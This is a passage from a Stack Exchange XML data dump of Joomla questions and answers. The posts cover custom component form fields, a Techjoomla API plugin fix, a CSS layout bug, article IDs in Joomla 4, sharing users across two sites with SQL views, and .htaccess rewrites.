that provides and loads the whole Form field to your layout (using JSON). So the controller file:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;/administrator/components/com_mycomponent/controllers/hello.json.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     None yet&#xA; * @subpackage  com_mycomponent&#xA; *&#xA; * @copyright   Copyright (C) 2021 jooplugit,&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\MVC\Controller\AdminController;&#xA;use Joomla\CMS\Factory;&#xA;use \Joomla\CMS\Response\JsonResponse;&#xA;&#xA;class MycomponentControllerHello extends AdminController&#xA;{&#xA;&#xA;  public function getTechField()&#xA;  {&#xA;      $input = Factory::getApplication()-&amp;gt;input;&#xA;      $jobTitle = $input-&amp;gt;getString('jobtitle');&#xA;&#xA;      $model = $this-&amp;gt;getModel('hello');&#xA;&#xA;      $result = $model-&amp;gt;getTechField($jobTitle);&#xA;&#xA;      echo new JsonResponse($result);&#xA;  }&#xA;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This controller calls the &lt;code&gt;hello.php&lt;/code&gt; model that provides the full form field dynamically:&#xA;&lt;strong&gt;/administrator/components/com_mycomponent/models/hello.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  public function getTechField($jobTitle)&#xA;  {&#xA;      try&#xA;      {&#xA;        $this-&amp;gt;form = $this-&amp;gt;getForm();&#xA;        $result = $this-&amp;gt;form-&amp;gt;renderField('technologies', 'jobs');&#xA;        return $result;&#xA;      }&#xA;      catch(Exception $e)&#xA;      {&#xA;        Factory::getApplication()-&amp;gt;enqueueMessage($e-&amp;gt;getMessage(), 'warning');&#xA;        return false;&#xA;      }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The full &lt;code&gt;hello.php&lt;/code&gt; model file has 3 methods for this form:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\MVC\Model\AdminModel;&#xA;use \Joomla\CMS\Response\JsonResponse;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;class MycomponentModelHello extends AdminModel&#xA;{&#xA;  public function getTable($type = 'Jobs', $prefix = 'MycomponentTable', $config = array())&#xA;    {&#xA;        return JTable::getInstance($type, $prefix, $config);&#xA;    }&#xA;&#xA;  public function getForm($data = array(), $loadData = true)&#xA;  {&#xA;    // Get the form.&#xA;        $form = $this-&amp;gt;loadForm(&#xA;            'com_mycomponent.hello',&#xA;            'hello',&#xA;            array(&#xA;                'control' =&amp;gt; 'jform',&#xA;                'load_data' =&amp;gt; $loadData&#xA;            )&#xA;        );&#xA;&#xA;        if (empty($form))&#xA;        {&#xA;            $errors = $this-&amp;gt;getErrors();&#xA;            throw new Exception(implode(&amp;quot;\n&amp;quot;, $errors), 500);&#xA;        }&#xA;&#xA;        return $form;&#xA;  }&#xA;&#xA;  public function getTechField($jobTitle)&#xA;  {&#xA;      try&#xA;      {&#xA;        $this-&amp;gt;form = $this-&amp;gt;getForm();&#xA;        $result = $this-&amp;gt;form-&amp;gt;renderField('technologies', 'jobs');&#xA;        return $result;&#xA;      }&#xA;      catch(Exception $e)&#xA;      {&#xA;        Factory::getApplication()-&amp;gt;enqueueMessage($e-&amp;gt;getMessage(), 'warning');&#xA;        return false;&#xA;      }&#xA;  }&#xA;&#xA;  public function getFieldOptionsData($jobTitle)&#xA;  {&#xA;    $db = Factory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('technologies')&#xA;        -&amp;gt;from('`#__mycomponent_jobs`')&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('jobtitle') . ' = ' . $db-&amp;gt;quote($jobTitle));&#xA;    $techForJob = $db-&amp;gt;setQuery($query)-&amp;gt;loadRowList();&#xA;&#xA;    return $techForJob;&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I just hope that researchers can follow and use the above info when they want to create these fields dynamically and they can take a few things out of this. Finally I include a gif of what the result of these codes looks like at the end:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SfHHa.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SfHHa.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-01-17T16:30:19.227" LastActivityDate="2023-01-17T16:30:19.227" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="28780" PostTypeId="2" ParentId="4939" CreationDate="2021-01-08T11:36:40.270" Score="0" Body="&lt;p&gt;I copyed the model-file from another component. Than i renamed the important places in the file. In my case, i forgot to change the the prefix value in the function getTable. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="14803" LastActivityDate="2021-01-08T11:36:40.270" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28781" PostTypeId="1" AcceptedAnswerId="28782" CreationDate="2021-01-08T12:32:46.667" Score="3" ViewCount="115" Body="&lt;p&gt;I am trying to write a plugin to use &lt;a href=&quot;https://docs.techjoomla.com/joomla-rest-api/com-api-plugin-development/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Techjoomla's api component&lt;/a&gt; on my Joomla 3 site.&lt;/p&gt;&#xA;&lt;p&gt;Their documentation gives sample code which I am altering to fit my needs.  I am trying to make a very basic API which I can improve later.&lt;/p&gt;&#xA;&lt;p&gt;I want to send:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://mydomainname.co.uk/index.php?option=com_api&amp;amp;app=WDTOptions&amp;amp;resource=options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mydomainname.co.uk/index.php?option=com_api&amp;amp;app=WDTOptions&amp;amp;resource=options&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and get back:&lt;/p&gt;&#xA;&lt;p&gt;id = 6, title=WDTOptions Test as part of the JSON response.&lt;/p&gt;&#xA;&lt;p&gt;I have a public article on my site that I wish to access later.  It has the same id and title.  For now though I just want to get a response from the API component.&lt;/p&gt;&#xA;&lt;p&gt;I have the following manifest file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;3.9.23&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;api&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;WDTOptions&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;07/01/2021&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;Huw Evans&amp;lt;/author&amp;gt;&#xA;    &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;WDTOptions&amp;quot;&amp;gt;WDTOptions.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;WDTOptions&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;/language/en-GB/en-GB.mod_articles_category.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;/language/en-GB/en-GB.mod_articles_category.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The file WDTOptions.php contains the following code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Class structure example&#xA;class PlgAPIOptions extends ApiPlugin&#xA;{&#xA;    public function __construct(&amp;amp;$subject, $config = array())&#xA;    {&#xA;        parent::__construct($subject, $config = array());&#xA;&#xA;        $lang = JFactory::getLanguage();&#xA;        $lang-&amp;gt;load('com_content', JPATH_ADMINISTRATOR, '', true);&#xA;&#xA;        // Set the options resource to be public&#xA;        $this-&amp;gt;setResourceAccess('options', 'public', 'get');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the file WDTOptions/options contains&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class WDTOptionsApiResourceOptions extends ApiResource&#xA;{&#xA;&#xA;    public function get()&#xA;    {&#xA;        $result       = new \stdClass;&#xA;        $result-&amp;gt;name = &amp;quot;WDTOptions Test&amp;quot;;&#xA;        $result-&amp;gt;id = 6;&#xA;&#xA;        $this-&amp;gt;plugin-&amp;gt;setResponse( $result );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The only response I can get from the API is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;err_msg&amp;quot;:&amp;quot;WDTOptions API Plugin not found, WDTOptions is probably not installed&amp;quot;,&amp;quot;err_code&amp;quot;:400,&amp;quot;response_id&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;api&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;version&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;data&amp;quot;:{}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14667" LastEditorUserId="14667" LastEditDate="2021-01-08T20:04:00.937" LastActivityDate="2021-01-09T17:04:38.100" Title="Techjoomla's API Module" Tags="|component|plugin|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="28782" PostTypeId="2" ParentId="28781" CreationDate="2021-01-09T17:04:38.100" Score="3" Body="&lt;p&gt;Besides the class name of the plugin as it should be formed like ([Plg][Plugin group name][Plugin name]), thus:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgAPIWDTOptions extends ApiPlugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It could also make your life easier if you just used small letters in your plugin's name instead of capital letters. So I would call your plugin: &lt;code&gt;plg_api_wdtoptions&lt;/code&gt; and your XML correctly should look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;3.9.23&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;api&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_api_wdtoptions&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;07/01/2021&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;Huw Evans&amp;lt;/author&amp;gt;&#xA;    &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;wdtoptions&amp;quot;&amp;gt;wdtoptions.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;wdtoptions&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And your plugin main class finally would be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgAPIWdtoptions extends ApiPlugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Later you will place two language files into your plugin if you need (but you really do not need them if you do not have admin control for this api plugin). You can study the official Joomla docs here about standard Joomla plugins for future reference:&#xA;&lt;a href=&quot;https://docs.joomla.org/Plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your main plugin file should then look like this correctly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;    &#xA;  &#xA;// Class structure example&#xA;class PlgAPIWdtoptions extends ApiPlugin&#xA;{&#xA;    public function __construct(&amp;amp;$subject, $config = array())&#xA;    {&#xA;        parent::__construct($subject, $config = array());&#xA;&#xA;        // Set resource path&#xA;        ApiResource::addIncludePath(dirname(__FILE__) . '/wdtoptions');&#xA;&#xA;        // $lang = JFactory::getLanguage();&#xA;        // $lang-&amp;gt;load('com_content', JPATH_ADMINISTRATOR, '', true);&#xA;&#xA;        // Set the options resource to be public&#xA;        $this-&amp;gt;setResourceAccess('options', 'public', 'get');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I changed the Class name to small letter version, so &lt;code&gt;Wdtoptions&lt;/code&gt; (not WDT). It does not matter too much I just saw that easier to handle.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Please also note one line in the code&lt;/strong&gt; and this is the most &lt;strong&gt;important&lt;/strong&gt; in your case, the line in the above file which was missing from your main plugin file and that is why the &lt;strong&gt;com_api&lt;/strong&gt; component has not found your Resource file (the path had to be included). The missing line was:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Set resource path&#xA;ApiResource::addIncludePath(dirname(__FILE__) . '/wdtoptions');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Your plugin folder and file structure should be this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;wdtoptions.php (plugin entry file)&#xA;wdtoptions.xml (plugin manifest file)&#xA;wdtoptions (**Resources* folder having resource file, keep its name the same as your plugin name)*    &#xA;    options.php (Resource file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above is tested and working.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2021-01-09T17:04:38.100" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28784" PostTypeId="1" CreationDate="2021-01-12T16:39:58.233" Score="0" ViewCount="51" Body="&lt;p&gt;I have a Joomla 3.9x website with a custom responsive menu. Each menu item in the top level has a pseudo ::before element displaying icons from a custom font. If the item is a menu separator, then the separator (enclosed in a span) is followed by a button which has its own ::after element displaying either + or - depending on whether the hidden menu is displayed or not. On Windows 10, iPad and Android, these button ::after elements are correctly lined up. On Amazon Fire (v8, 10th Gen) the symbols are too high. I have no idea if there's any way to inspect the page on Fire tablets. Here are a couple of screenshots and I'll give some of the html and css below them.&lt;/p&gt;&#xA;&lt;p&gt;This is as on Windows 10:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tJemb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tJemb.jpg&quot; alt=&quot;Correct layout&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is Amazon Fire Tablet:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ybQ2m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ybQ2m.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;menu-b&amp;quot;&amp;gt;&#xA;    &amp;lt;li class=&amp;quot;item-129 single divider deeper parent&amp;quot;&amp;gt;&#xA;        &amp;lt;span class=&amp;quot;separator icon-life-events&amp;quot;&amp;gt;&#xA;         ::before&#xA;         Life Events&#xA;        &amp;lt;/span&amp;gt;&#xA;        &amp;lt;button class=&amp;quot;btn-level-1&amp;quot; type=&amp;quot;button&amp;quot; aria-label=&amp;quot;Life Events&amp;quot;&amp;gt;&#xA;         ::after&#xA;        &amp;lt;/button&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the CSS:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.menu-b {&#xA;  display: -webkit-flex;&#xA;  flex-direction: column;&#xA;  justify-content: normal;&#xA;  margin: 0 0 1rem;&#xA;  padding: 0;&#xA;  position: relative;&#xA;  top: 0;&#xA;  overflow-y: auto;&#xA;}&#xA;.li {&#xA;  display: block;&#xA;  position: relative;&#xA;  line-height: 1.5;&#xA;  border-top: 1px dotted darkgray;&#xA;  margin: 0;&#xA;  padding: 0.5rem 0 0;&#xA;}&#xA;.li span {&#xA;  color: darkgreen;&#xA;  display: inline-block;&#xA;  font-size: 1.1rem;&#xA;  padding: 1rem 0;&#xA;  position: relative;&#xA;  text-decoration: none;&#xA;  white-space: nowrap;&#xA;}&#xA;[class*=&amp;quot; icon-&amp;quot;]::before {&#xA;  font-family: 'myfont';&#xA;  font-size: 1.5rem;&#xA;  position: relative;&#xA;  top: 0.35rem;&#xA;  left: -0.5rem;&#xA;  }&#xA;}&#xA;button {&#xA;  position: relative;&#xA;  background: transparent;&#xA;  border: none;&#xA;  display: inline-block;&#xA;  height: 2.5rem;&#xA;  margin-left: 0.5rem;&#xA;  outline: none;&#xA;  padding: 0.75rem 0 1rem;&#xA;  top: -0.25rem;&#xA;  width: 20px;&#xA;}&#xA;button::after {&#xA;  display: inline-block;&#xA;  width: 0;&#xA;  height: 0;&#xA;  margin: 0;&#xA;  content: &amp;quot;+&amp;quot;;&#xA;  color: darkgreen;&#xA;  font-size: 1.35rem;&#xA;  transition: all .3s ease-out;&#xA;  position: absolute;&#xA;  left: 0;&#xA;  top: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have tried different heights, padding, margins on different elements but it just doesn't want to display as I want it on Amazon Fire.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions gratefully received.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2024-01-28T00:01:35.233" Title="CSS position: absolute doesn't display correctly on Amazon Fire tablet" Tags="|joomla-3.x|css|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28785" PostTypeId="1" AcceptedAnswerId="31557" CreationDate="2021-01-12T17:18:33.230" Score="2" ViewCount="2432" Body="&lt;p&gt;I am trying Joomla 4.&lt;br /&gt;&#xA;My biggest problem is to migrate the get article id functionality.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 3.x, I used:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;    &#xA;$id= JRequest::getInt('id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but this is not longer supported. So I now use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$app = Factory::getApplication();&#xA;$id   = $app-&amp;gt;input-&amp;gt;getCmd('id', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is this really the best way to get the article id inside a PHP script?&lt;/p&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="12352" LastEditDate="2021-01-13T11:22:37.553" LastActivityDate="2021-09-23T13:57:54.167" Title="Get the Article ID in J4.0" Tags="|articles|joomla-4.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28786" PostTypeId="2" ParentId="28784" CreationDate="2021-01-12T18:37:27.480" Score="0" Body="&lt;p&gt;After more experimenting, I have fixed it.&lt;/p&gt;&#xA;&lt;p&gt;I combined the span and button elements into one so the html now looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;menu-b&amp;quot;&amp;gt;&#xA;    &amp;lt;li class=&amp;quot;item-129 single divider deeper parent&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;separator btn-level-1 icon-life-events&amp;quot; type=&amp;quot;button&amp;quot; aria-label=&amp;quot;Life Events&amp;quot;&amp;gt;&#xA;         ::before&#xA;         Life Events&#xA;     ::after&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I had to adjust the CSS, but the main CSS change is that the pseudo ::after element has the class &lt;code&gt;position: relative;&lt;/code&gt; instead of &lt;code&gt;position: absolute;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2021-01-12T18:37:27.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28787" PostTypeId="1" CreationDate="2021-01-13T08:55:27.210" Score="0" ViewCount="21" Body="&lt;p&gt;I am trying to create a menu in Joomla and want to pick and choose what categories are added in my categorylist menu. Now I can pick a parent category and it will list all sub categories, but what if I want only a few? Or what if I want to add a category that is under a different parent category to this menu? How can I do that?&lt;/p&gt;&#xA;&lt;p&gt;I am using Joomla 3.9.23&lt;/p&gt;&#xA;" OwnerUserId="12088" LastActivityDate="2021-01-13T08:55:27.210" Title="Pick and choose what categories are added to a menu in a categorylist" Tags="|joomla-3.x|menu|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28788" PostTypeId="1" AcceptedAnswerId="28805" CreationDate="2021-01-13T11:32:29.923" Score="1" ViewCount="84" Body="&lt;p&gt;First Context:&lt;/p&gt;&#xA;&lt;p&gt;I am making a JS application that needs to call an api.&lt;/p&gt;&#xA;&lt;p&gt;The application is a form full of multiple choice select elements.  Depending on the selected elements data is sent to the api.  The api should return an article's full text.&lt;/p&gt;&#xA;&lt;p&gt;I have the following code which works.  (no logic being done yet but I can do that later)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;include (&amp;quot;/components/com_content/models/article.php&amp;quot;);&#xA;&#xA;class WdtoptionsApiResourceOptions extends ApiResource&#xA;{&#xA;&#xA;    public function post()&#xA;    {   &#xA;        $data = new \stdClass;&#xA;        $data = json_decode(file_get_contents(&amp;quot;php://input&amp;quot;));&#xA;        &#xA;        $result       = new \stdClass;&#xA;        $result-&amp;gt;name = &amp;quot;WDTOptions Test&amp;quot;;&#xA;        $result-&amp;gt;id = 6;&#xA;        &#xA;        JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models' );&#xA;        &#xA;        $article = JModelLegacy::getInstance( 'article', 'ContentModel');&#xA;        &#xA;        $body = $article-&amp;gt;getItem(6);&#xA;        &#xA;&#xA;        $result-&amp;gt;optionlist = $body-&amp;gt;introtext . $body-&amp;gt;fulltext;&#xA;        $result-&amp;gt;postData = $data;&#xA;        &#xA;        $this-&amp;gt;plugin-&amp;gt;setResponse( $result );&#xA;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The issue is that the article's text is returned by the api regardless of whether the user is logged into my site.  This means that third parties could run their own apps off my api.  They could also probe my api to work out how to use it.  As my business depends on selling licences to this app I want to avoid that.&lt;/p&gt;&#xA;&lt;p&gt;It has occurred to me that I could solve the problem by having my api output a hyperlink to the article and then having my front end call the article separately by a separate AJAX call.  However this seems clunky and generally poor practice.&lt;/p&gt;&#xA;&lt;p&gt;Is there way to have the ACL from the site apply to the API itself?  I don't really want to use the JWT authentication process unless I have to.&lt;/p&gt;&#xA;&lt;p&gt;Just to clarify I'm not expecting full code answers.  Psudocode or overview is fine.&lt;/p&gt;&#xA;" OwnerUserId="14667" LastEditorUserId="14667" LastEditDate="2021-01-13T12:26:59.263" LastActivityDate="2021-01-19T18:11:21.870" Title="Techjoomla API using same ACL as site" Tags="|plugin|ajax|restful-api|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28789" PostTypeId="1" CreationDate="2021-01-13T16:04:04.120" Score="0" ViewCount="46" Body="&lt;p&gt;I have 2 sites, let's call them site1 and site2. They're setup as subdomains such as:&lt;/p&gt;&#xA;&lt;p&gt;site1.domain.com and site2.domain.com&lt;/p&gt;&#xA;&lt;p&gt;They're both running Joomla 3.9.24 and I have created a view on site2 database to get their user details from the site1 database.&lt;/p&gt;&#xA;&lt;p&gt;I have renamed the tables on site2 db:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RENAME TABLE `site2_users` TO `site2_bak_users`;&#xA;RENAME TABLE `site2_session` TO `site2_bak_session`;&#xA;RENAME TABLE `site2_usergroups` TO `site2_bak_usergroups`;&#xA;RENAME TABLE `site2_user_notes` TO `site2_bak_user_notes`;&#xA;RENAME TABLE `site2_user_profiles` TO `site2_bak_user_profiles`;&#xA;RENAME TABLE `site2_user_usergroup_map` TO `site2_bak_user_usergroup_map`;&#xA;RENAME TABLE `site2_viewlevels` TO `site2_bak_viewlevels`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then created a view on site2 database to get the user details from site1 database:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CREATE VIEW `site2_users` AS SELECT * FROM `SITE1_DATABASE`.`site1_users`;&#xA;CREATE VIEW `site2_session` AS SELECT * FROM `SITE1_DATABASE`.`site1_session`;&#xA;CREATE VIEW `site2_usergroups` AS SELECT * FROM `SITE1_DATABASE`.`site1_usergroups`;&#xA;CREATE VIEW `site2_user_notes` AS SELECT * FROM `SITE1_DATABASE`.`site1_user_notes`;&#xA;CREATE VIEW `site2_user_profiles` AS SELECT * FROM `SITE1_DATABASE`.`site1_user_profiles`;&#xA;CREATE VIEW `site2_user_usergroup_map` AS SELECT * FROM `SITE1_DATABASE`.`site1_user_usergroup_map`;&#xA;CREATE VIEW `site2_viewlevels` AS SELECT * FROM `SITE1_DATABASE`.`site1_viewlevels`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is working great.&lt;/p&gt;&#xA;&lt;p&gt;Site2 is running Kunena and the users are showing in the users data in Kunena.&lt;/p&gt;&#xA;&lt;p&gt;I was assuming that if a user is logged into site1, then they should be logged into site2 automatically?&lt;/p&gt;&#xA;&lt;p&gt;But if I log into site1 and then load site2, I need to log in again (using the same log-in info)&lt;/p&gt;&#xA;&lt;p&gt;I need the user session to be the same for both sites. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2024-01-31T18:08:50.973" Title="Logged in users not logged into Kunena on second site" Tags="|mysql|user|session|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28790" PostTypeId="2" ParentId="28714" CreationDate="2021-01-14T06:25:21.650" Score="1" Body="&lt;p&gt;For my environments I use this piece of code in the .htaccess of the root directory, in your case &lt;code&gt;/web&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# External Redirect adding leading www to domain or any subdomain if missing&#xA;RewriteCond %{HTTP_HOST} !^$&#xA;RewriteCond %{HTTP_HOST} !^www\. [NC]&#xA;RewriteCond %{HTTPS}s ^on(s)|&#xA;RewriteRule ^ http%1://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;&#xA;# Internally Rewrite requests to redirect the default domain to the folder you want.&#xA;rewriteCond %{http_HOST} ^www\.yourdomain\.com\.au$&#xA;rewriteRule (.*) /joomladirectory/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in the configuration.php I use the &lt;code&gt;livesite=&lt;/code&gt; to hold the url, as you have, and &lt;code&gt;public $force_ssl = 2;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also use the default Joomla supplied .htaccess as supplied in the installation folder, &lt;code&gt;/web/joomla&lt;/code&gt; in your example.&lt;/p&gt;&#xA;&lt;p&gt;I am not familiar with the Synology Disk Station to know if there are going to be other issues, however I install all my Joomla installations into sub directories of the root directory and have been doing this on various hosts for more than 10 years with no compatibility issues so I think it should work for you.&lt;/p&gt;&#xA;&lt;p&gt;If you want to ignore other directories to exclude them from being changed you can insert this line before the last &lt;code&gt;rewriteRule&lt;/code&gt;, &lt;code&gt;#rewriteCond $1 !^ignoredirectory/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-01-14T06:25:21.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
